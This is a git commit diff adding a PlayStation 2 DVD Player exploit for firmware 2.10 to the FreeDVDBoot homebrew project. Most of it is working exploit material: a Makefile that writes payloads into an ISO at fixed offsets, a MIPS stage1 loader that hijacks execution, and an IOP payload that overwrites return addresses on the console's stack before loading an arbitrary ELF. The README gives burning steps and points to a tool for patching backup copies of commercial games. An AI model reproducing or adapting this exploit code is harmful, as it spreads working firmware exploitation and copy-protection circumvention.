2.10 support, using new bug

This commit is contained in:
CTurt 2020-08-09 20:34:59 +01:00
parent e3b92c3c55
commit a53803d59c
20 changed files with 526 additions and 5 deletions

BIN
Filesystems/2.10/BOOT.ELF Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

81
PAYLOADS/2.10/Makefile Normal file
View file

@ -0,0 +1,81 @@
#STAGE1_LOAD_ADDRESS = 0x1f62b0
#STAGE1_LOAD_ADDRESS = 0xa01f62b0 # repacked
#STAGE1_LOAD_ADDRESS = 0xA01F30B0 # (0xa0000000 + 0x01f62b0 + 0x1F3058 - 0x1f6258) # hardware
# (0xb7548 + 0x5c700 - 0xb1000) = 0x62C48
STAGE1_LOAD_ADDRESS = 0xa0062C48 # hardware
EE_CC = ee-gcc
EE_LD = ee-ld
EE_AS = ee-as
EE_OBJCOPY = ee-objcopy
IOP_CC = iop-gcc
IOP_LD = iop-ld
IOP_AS = iop-as
IOP_OBJCOPY = iop-objcopy
IOP_OBJDUMP = iop-objdump
IOP_CFLAGS = -O2 -G 0 -nostartfiles -nostdlib -ffreestanding -g
EE_CFLAGS = -O2 -G 0 -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1
#IOP_PAYLOAD_ENTRY = `$(IOP_OBJDUMP) -t ioppayload.iop.elf | grep " _start"`
#IOP_PAYLOAD_ENTRY = 0xa0460178 # Set this manually for now.
IOP_PAYLOAD_ENTRY = 0xa00fd178 # Set this manually for now.
IOP_STAGE1_SIZE = `stat -c '%s' stage1.iop.bin`
IOP_PAYLOAD_SIZE = `stat -c '%s' ioppayload.iop.bin`
#IOP_PAYLOAD_ADDRESS = 0x460000
#IOP_PAYLOAD_ADDRESS = 0xa0460000
IOP_PAYLOAD_ADDRESS = 0xa00fd000
EE_PAYLOAD_ADDRESS = 0x01fff800
#isoinfo -l -i dvd.iso | grep "BOOT.ELF"
#var=`isoinfo -l -i dvd.iso | grep "BOOT.ELF" | grep -o -P "[0-9]*? -"`
# LOAD_ELF_FROM_OFFSET =
LOAD_ELF_FROM_OFFSET = 0x5BB000 # Set this manually for now
all: dvd.iso
dvd.iso: dvd.base.iso stage1.iop.bin ioppayload.iop.bin
cp dvd.base.iso dvd.iso
#genisoimage -udf -o dvd.iso udf/
# @echo Insert 0x00000048 to offset 0x0818AC in dvd.iso
# @echo Insert 0x00004000 to offset 0x0818B0 in dvd.iso
# @echo Insert 0x000B7548 to offset 0x0818F4 in dvd.iso
# bs=4096 iflag=skip_bytes,count_bytes
# 0x820f8 = 532728
dd if=stage1.iop.bin of=dvd.iso bs=1 seek=532728 count=$(IOP_STAGE1_SIZE) conv=notrunc
# 0x700000 = 7340032
dd if=ioppayload.iop.bin of=dvd.iso bs=1 seek=7340032 count=$(IOP_PAYLOAD_SIZE) conv=notrunc
%.iop.bin: %.iop.elf
$(IOP_OBJCOPY) -O binary $< $@
%.iop.o: %.iop.S
$(IOP_AS) $< -o $@
stage1.iop.elf: stage1.iop.S ioppayload.iop.bin
$(IOP_OBJDUMP) -t ioppayload.iop.elf | grep " _start"
$(IOP_CC) -Ttext=$(STAGE1_LOAD_ADDRESS) $< -DENTRY=$(IOP_PAYLOAD_ENTRY) -DIOP_PAYLOAD_SIZE=$(IOP_PAYLOAD_SIZE) $(IOP_CFLAGS) -o $@
ioppayload.iop.elf: ioppayload.iop.c eepayload.ee.bin
$(IOP_CC) -Ttext=$(IOP_PAYLOAD_ADDRESS) -DLOAD_ELF_FROM_OFFSET=$(LOAD_ELF_FROM_OFFSET) ioppayload.iop.c $(IOP_CFLAGS) -o $@
%.ee.bin: %.ee.elf
$(EE_OBJCOPY) -O binary $< $@ -Wl,-z,max-page-size=0x1
%.ee.o: %.ee.S
$(EE_AS) $< -o $@
eepayload.ee.elf: eecrt0.ee.o syscalls.ee.o eepayload.ee.c
$(EE_CC) -Ttext=$(EE_PAYLOAD_ADDRESS) $^ $(EE_CFLAGS) -o $@
clean:
rm -rf *.elf *.bin *.o dvd.iso

BIN
PAYLOADS/2.10/dvd.base.iso Normal file

Binary file not shown.

27
PAYLOADS/2.10/eecrt0.ee.S Normal file
View file

@ -0,0 +1,27 @@
# ElReino & CTurt 2020
.section .text.startup
.global _start
_start:
# Point stack to end of scratchpad RAM
#la $sp, 0x70004000
la $v0, 0x01FFF7D0
sw $v0, 0($v0)
.global main
#la $v1, 0x01
#la $a0, 0x7f
#syscall 0x01 # ResetEE
la $a0, main
la $a1, 0
la $a2, 0
la $a3, 0
jr $a0
#ExecPS2:
#la $v1, 0x07
#syscall 0x07 # ExecPS2

BIN
PAYLOADS/2.10/eecrt0.ee.o Normal file

Binary file not shown.

Binary file not shown.

View file

@ -0,0 +1,37 @@
// ElReino & CTurt 2020
int (*SifIopReset)(char *, int) = (void *)0x85360;
void (*SifInitRpc)(int) = (void *)0x84500;
void (*SifExitRpc)(void) = (void *)0x84690;
extern void SifWriteBackDCache(void *ptr, int size);
extern int SifSetReg(unsigned int register_num, unsigned int register_value);
extern int SifGetReg(unsigned int register_num);
static int SifIopSync(void) {
#define SIF_REG_SMFLAG 4
#define SIF_STAT_BOOTEND 0x40000
return((SifGetReg(SIF_REG_SMFLAG) & SIF_STAT_BOOTEND) != 0);
}
static void flush(void) {
asm volatile("la $v1, 0x64; la $a0, 0; syscall 0x64"); /* FlushCache data writeback */
asm volatile("la $v1, 0x64; la $a0, 2; syscall 0x64"); /* FlushCache instruction invalidate */
}
int main(void) {
volatile int *waitAddress = (void *)0x21FFF7F0;
while(!*waitAddress);
flush();
SifInitRpc(0);
SifExitRpc();
while(!SifIopReset("", 0));
while(!SifIopSync()){};
//SifInitRpc(0);
volatile void **entry_point_address = (void *)0x01FFF7E0;
ExecPS2(*entry_point_address, 0, 0, 0);
}

Binary file not shown.

Binary file not shown.

View file

@ -0,0 +1,247 @@
// ElReino & CTurt
/* Todo: seperate these settings to an include file.
*/
#define EE_CRT0_ADDRESS ((void*)0x21FFF800)
#define EE_WAIT_ADDRESS ((void*)0x01FFF7F0)
#define EE_ENTRYPOINT_ADDRESS ((void *)0x01FFF7E0)
//#define EE_DEBUG_ADDRESS ((void *)0x01FFF7D0)
struct SifDmaTransfer {
void *src,
*dest;
int size;
int attr;
} __attribute__ ((aligned(8)));
#define ELF_PT_LOAD 1
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned int size_t;
typedef struct {
u8 ident[16];
u16 type;
u16 machine;
u32 version;
u32 entry;
u32 phoff;
u32 shoff;
u32 flags;
u16 ehsize;
u16 phentsize;
u16 phnum;
u16 shentsize;
u16 shnum;
u16 shstrndx;
} elf_header_t;
typedef struct {
u32 type;
u32 offset;
void *vaddr;
u32 paddr;
u32 filesz;
u32 memsz;
u32 flags;
u32 align;
} elf_pheader_t;
#define SECTOR_SIZE 0x800
#define min(a, b) (((a) < (b)) ? (a) : (b))
/* All of these could be reimplemented here, but I'm lazy so we will use whatever
* the IOP has already loaded. The addresses are hardcoded but should be easy
* enough to extract from IOP memory by looking for their module names and magic
* number 0x41C00000.
*/
//int (*readSectors)(int count, int sector, void *destination) = (void *)0xb260c; // repacked ELF
int (*readSectors)(int count, int sector, void *destination) = (void *)(0xb260c + 0x5c700 - 0xb1000); // real hardware
int (*sceSifSetDma)(struct SifDmaTransfer *, int num) = (void *)0x16fc8;
int (*sceSifDmaStat)(int trid) = (void *)0x17170;
void (*flushIcache)(void) = (void*)0x2f40;
void (*flushDcache)(void) = (void*)0x3148;
void (*printf)(char *, ...) = (void *)0x1ab84;
static void transfer_to_ee(void *dest, void *src, unsigned int size);
static void *memcpy(void *dest, void *src, unsigned int n);
static void *memset(void *s, int c, unsigned int n);
static void memset_ee(void *s, int c, unsigned int n);
static void readData(void *dest, unsigned int offset, size_t n) {
//unsigned char buffer[SECTOR_SIZE];
//unsigned char *buffer = (void *)0xfd000;
unsigned char *buffer = (void *)0xba000; // single
unsigned int copied = 0;
#define remaining (n - copied)
if(offset % SECTOR_SIZE) {
readSectors(1, offset / SECTOR_SIZE, buffer);
memcpy(dest, buffer + offset % SECTOR_SIZE, min(SECTOR_SIZE - (offset % SECTOR_SIZE), n));
copied += min(SECTOR_SIZE - (offset % SECTOR_SIZE), n);
}
if(remaining >= SECTOR_SIZE) {
readSectors(remaining / SECTOR_SIZE, (offset + copied) / SECTOR_SIZE, dest + copied);
copied += (remaining / SECTOR_SIZE) * SECTOR_SIZE;
}
if(remaining > 0) {
readSectors(1, (offset + copied) / SECTOR_SIZE, buffer);
memcpy(dest + copied, buffer, remaining);
}
#undef remaining
}
// Read data but don't care about over/under writing to dest
static void readDataUnsafe(void *dest, unsigned int offset, size_t n) {
unsigned int sectorAlignedOffset = offset & ~(SECTOR_SIZE - 1);
unsigned int underflow = offset - sectorAlignedOffset;
readSectors((n + underflow + SECTOR_SIZE - 1) / SECTOR_SIZE, sectorAlignedOffset / SECTOR_SIZE, dest - underflow);
}
void _start(void) {
extern unsigned char ee_crt0[];
extern unsigned int ee_crt0_size;
void *return_address = EE_CRT0_ADDRESS;
int one = 1;
int i;
transfer_to_ee(EE_CRT0_ADDRESS, ee_crt0, ee_crt0_size);
/* Corrupt all known return addresses in the stack.
*/
transfer_to_ee((void *)0x14A5FF0, &return_address, sizeof(return_address)); /* 2.10E/A */
transfer_to_ee((void *)0x10007F0, &return_address, sizeof(return_address)); /* 2.10J */
transfer_to_ee((void *)0x12D1C70, &return_address, sizeof(return_address)); /* 2.10U */
// Clear bit 0 of 0x208bb710 to make EE exit loop waiting for IOP, and return to our above payload
//unsigned int loopValue = 0x010004;
//transfer_to_ee((void *)0x208bb710, &loopValue, sizeof(loopValue)); // 2.10E
//unsigned char *buffer = (void *)0xfe000;
unsigned char *buffer = (void *)0xBB800;
size_t sizeofbuffer = 2 * SECTOR_SIZE; // todo: find a nice large space 4 sectors maybe
elf_header_t eh;
readData(&eh, LOAD_ELF_FROM_OFFSET, sizeof(elf_header_t));
elf_pheader_t eph[eh.phnum];
readData(&eph, LOAD_ELF_FROM_OFFSET + eh.phoff, sizeof(elf_pheader_t) * eh.phnum);
for (i = 0; i < eh.phnum; i++) {
if (eph[i].type != ELF_PT_LOAD)
continue;
// TODO: handle non-16byte aligned transfers
unsigned int copied = 0;
int remaining = eph[i].filesz;
while(remaining > 0) {
unsigned int k = min(remaining, sizeofbuffer);
k = (k + 0xf) & ~0xf;
// If offset is not aligned to a sector, start with a smaller transfer to get it aligned for future reads
if((eph[i].offset + copied) & (SECTOR_SIZE - 1)) k = SECTOR_SIZE - (eph[i].offset + copied) & (SECTOR_SIZE - 1);
//readData(buffer, LOAD_ELF_FROM_OFFSET + eph[i].offset + copied, k);
readDataUnsafe(buffer, LOAD_ELF_FROM_OFFSET + eph[i].offset + copied, k);
transfer_to_ee(eph[i].vaddr + copied, buffer, k);
copied += k;
remaining -= k;
}
copied = 0;
remaining = eph[i].memsz - eph[i].filesz;
if(remaining > 0) {
// First transfer needs to respect if load size isn't multiple of 16 bytes and not memset 0 over the final eph[i].filesz % 16 bytes
if(eph[i].filesz % 16) {
readData(buffer, LOAD_ELF_FROM_OFFSET + eph[i].offset + eph[i].filesz - (eph[i].filesz % 16), eph[i].filesz % 16);
memset(buffer + (eph[i].filesz % 16), 0, 16 - (eph[i].filesz % 16));
transfer_to_ee(eph[i].vaddr + eph[i].filesz - (eph[i].filesz % 16), buffer, 16);
copied += 16 - (eph[i].filesz % 16);
remaining -= 16 - (eph[i].filesz % 16);
}
memset(buffer, 0, sizeofbuffer);
}
while(remaining > 0) {
unsigned int k = min(remaining, sizeofbuffer);
k = (k + 0xf) & ~0xf;
transfer_to_ee(eph[i].vaddr + eph[i].filesz + copied, buffer, k);
copied += k;
remaining -= k;
}
//unsigned char x[] = { 0x08, 0x00, 0xE0, 0x03, 0x01, 0x00, 0x42, 0x30, 0x01 };
//memcpy(buffer, &x, sizeof(x));
//memset(buffer + sizeof(x), 0, sizeofbuffer - sizeof(x));
//transfer_to_ee(eph[i].vaddr + (eph[i].filesz & ~(0x10 - 1)), buffer, (remaining + 0xf) & ~(0x10 - 1));
}
transfer_to_ee(EE_ENTRYPOINT_ADDRESS, &eh.entry, sizeof(one));
/* Signal EE that the ELF is loaded and ready to execute.
*/
transfer_to_ee(EE_WAIT_ADDRESS, &one, sizeof(one));
//int loopValueJ = 0;
//transfer_to_ee((void *)0x205ea210, &loopValueJ, sizeof(loopValueJ)); // 2.10J
}
/* dest and src should be aligned to 16 byte boundary
*/
static void transfer_to_ee(void *dest, void *src, unsigned int size)
{
int trid;
size = size & 0x3FFFFFFF;
struct SifDmaTransfer t = { src, dest, size, 0 };
/* These could be sent in parallel, but is it really worth it?
*/
trid = sceSifSetDma(&t, 1);
while(sceSifDmaStat(trid) > -1){};
}
static void *memcpy(void *dest, void *src, unsigned int n)
{
int i;
for(i = 0; i < n; i++)
((unsigned char *)dest)[i] = ((unsigned char *)src)[i];
return dest;
}
static void *memset(void *s, int c, unsigned int n)
{
int i;
for(i = 0; i < n; i++)
((unsigned char *)s)[i] = c;
return s;
}
asm("\n\
.global ee_crt0\n\
ee_crt0:\n\
.align 8\n\
.incbin \"eepayload.ee.bin\"\n\
ee_crt0_size: .word . - ee_crt0\n\
");

Binary file not shown.

View file

@ -0,0 +1,48 @@
# ElReino & CTurt 2020
# entry 0xb7548 # repacked
# entry (0xb7548 + 0x5c700 - 0xb1000) = 0x62C48 (0xa0062C48) # hardware
#readSector = 0xb260c # repacked
readSector = (0xb260c + 0x5c700 - 0xb1000) # real hardware
flushIcache = 0x00002f40
flushDcache = 0x0003044
flushDcacheWrapper = 0x0057f1c
#iop_payload_address = 0x460000
#iop_payload_address = 0xa0460000
iop_payload_address = 0xa00fd000
.section .text
.global _start
_start:
move $fp, $sp # We need to reset $fp as it gets trashed by memcpy
la $a0, (IOP_PAYLOAD_SIZE / 0x800) + 1 # count
la $a1, 0x700000 / 0x800 # sector
la $a2, iop_payload_address # destination
jal readSector
#jal flushIcache
#jal flushDcache
#jal ENTRY
la $v0, ENTRY
jalr $v0
# Return gracefully back to original return address
#la $a0, 0x1f62ac # repacked
la $a0, (0x1f62ac + 0x1F3058 - 0x1f6258) # hardware
#la $ra, 0xb3630 # repacked
la $ra, (0xb3630 + 0x5c700 - 0xb1000) # hardware
sw $ra, 0($a0)
la $v0, 0
jr $ra

Binary file not shown.

Binary file not shown.

View file

@ -0,0 +1,69 @@
# ElReino 2020
# Since GCC does something strange, we can't write syscall thunks directly in C
# as GCC adds move $v1, $v0 directly after jr $ra, effectively trashing $v0.
# I don't know why this happens, but I do know enough about GCC that this
# approach will most probably be easier. But feel free to try fixing it.
.global SifGetReg
SifGetReg:
la $v1, 0x7a
syscall 0x7a
jr $ra
.global ExecPS2
ExecPS2:
la $v1, 0x07
syscall 0x07 # BTW why do we put the number here also?
# Not a syscall, but it might as well be.
.global SifWriteBackDCache
SifWriteBackDCache:
lui $25, 0xffff
ori $25, $25, 0xffc0
blez $5, last
addu $10, $4, $5
and $8, $4, $25
addiu $10, $10, -1
and $9, $10, $25
subu $10, $9, $8
srl $11, $10, 0x6
addiu $11, $11, 1
andi $9, $11, 0x7
beqz $9, eight
srl $10, $11, 0x3
loop1:
sync
cache 0x18, 0($8)
sync
addiu $9, $9, -1
nop
bgtz $9, loop1
addiu $8, $8, 64
eight:
beqz $10, last
loop8:
addiu $10, $10, -1
sync
cache 0x18, 0($8)
sync
cache 0x18, 64($8)
sync
cache 0x18, 128($8)
sync
cache 0x18, 192($8)
sync
cache 0x18, 256($8)
sync
cache 0x18, 320($8)
sync
cache 0x18, 384($8)
sync
cache 0x18, 448($8)
sync
bgtz $10, loop8
addiu $8, $8, 512
last:
jr $31
nop

BIN
PAYLOADS/2.10/syscalls.ee.o Normal file

Binary file not shown.

BIN
PREBUILT ISOs/2.10.iso Normal file

Binary file not shown.

View file

@ -3,6 +3,10 @@ PlayStation 2 DVD Player Exploit. This allows you to burn your own PlayStation 2
For technical details please refer to my [blog post](https://cturt.github.io/freedvdboot.html).
Read from [here](#easy-setup-for-all-ps2-slim-consoles--bravia-tv) if you have a Slim PS2.
Read from [here](#phat-consoles) if you have a Phat PS2.
## Easy setup for all PS2 Slim consoles / Bravia TV
All you need is:
@ -57,13 +61,15 @@ Other suggestions that worked for others:
## Phat consoles
Phat consoles have many different firmware version revisions, which makes them harder to add support for. It also means you will need to identify your firmware version, and burn the matching ISO file.
It's still early in terms of support for different versions, check back here later. Hopefully over time other developers from the scene will also contribute support for additional DVD Player versions.
It's still early in terms of support for different versions, check back here later. Hopefully over time other developers from the scene will also contribute support for additional DVD Player versions. The new exploit for 2.10 should be possible to port to all firmwares between 1.00 - 2.13 (Sony actually patched this one in 2.14 lol).
### Step 1: Identify your DVD Player Version
Boot your PlayStation 2 without any disc inserted, and press Triangle to identify which DVD Player version your console has.
**Currently only support:**
- 2.10 (tested on U and J regions on real hardware, any language works),
- 3.04 (tested only region M in emulator so far, but guess most other regions EUMACDG, except for J will work - with English language set in settings),
### Step 2: Download the ISO
@ -71,12 +77,12 @@ Download the ISO that corresponds to your firmware version.
**Please don't bother trying on a non-supported firmware/language configuration, it won't work...**
For example, if your DVD Player version is 3.04M, you would want to burn `PREBUILT ISOs/3.04 only - M+maybe other regions except J - English language.iso`.
For example, if your DVD Player version is 2.10J, you would want to download `PREBUILT ISOs/2.10.iso`.
### Step 3, 4, 5 - Burn the ISO, set console language to English, and boot!
These steps are the same as described for slim above.
## Custom disc setup
## Custom disc setup - Slim
If you intend to make your own image containing additional homebrew / modified initial loader, please read on.
### Step 1: Copy your homebrew
@ -94,7 +100,10 @@ On Linux the easiest way is probably to use `genisoimage` as it comes pre-instal
### Step 3: Test and burn
I would recommend you test in PCSX2 first, but since [PCSX2 doesn't support loading the DVD Player](https://github.com/PCSX2/pcsx2/issues/1981), you have to decrypt and repack it yourself, which is beyond the scope of this README. With that said, if you aren't touching anything in `VIDEO_TS`, there shouldn't really be any reason for the exploit to fail.
## Replacing the initial program
## Custom disc setup - Phat
Instructions for building the phat exploit coming soon.
## Replacing the initial program - Slim
I've included uLaunchELF recompiled with [DVD support](https://github.com/ps2dev/ps2sdk/pull/130) as the default initial program. It presents a menu which allows you to select any of the homebrew programs you chose to include on the disc (and also allows booting from USB).
Alternatively, if you would rather just boot into a single homebrew application, the initial program the exploit attempts to boot is located at `VIDEO_TS/VTS_02_0.IFO`, replace it with your desired `ELF` file, with the below caveat that compatibility might be lower than if you booted a program through uLaunchELF:
@ -117,10 +126,13 @@ You can run `readelf -l` to verify your executable satisfies this requirement. F
Segment Sections...
00 .text .ctors .dtors .rodata .data .jcr .sdata .sbss .bss
## Replacing the initial program - Phat
The ELF is read from `0x5bb000` in the ISO file.
## Loading backups
It's possible to patch backup images of commercial games to make them bootable using this exploit. I didn't want to maintain this tool, so it's not included in this repository, but can be found by searching for something like FreeDVDBoot ESR auto patcher.
## DEVELOPMENT: Replacing the loader payload
## DEVELOPMENT: Replacing the loader payload - Slim
The default payload will boot `VIDEO_TS/VTS_02_0.IFO` as an ELF file, but tweaks might be desired to improve compatibility, or maybe changing the behaviour to boot `BOOT.ELF` instead for instance.
If you wish to update the loader payload, run `build.sh` inside `PAYLOAD` directory, and copy the output `.bin` files into `VIDEO_TS/VIDEO_TS.IFO` at the offsets displayed by the output of the command.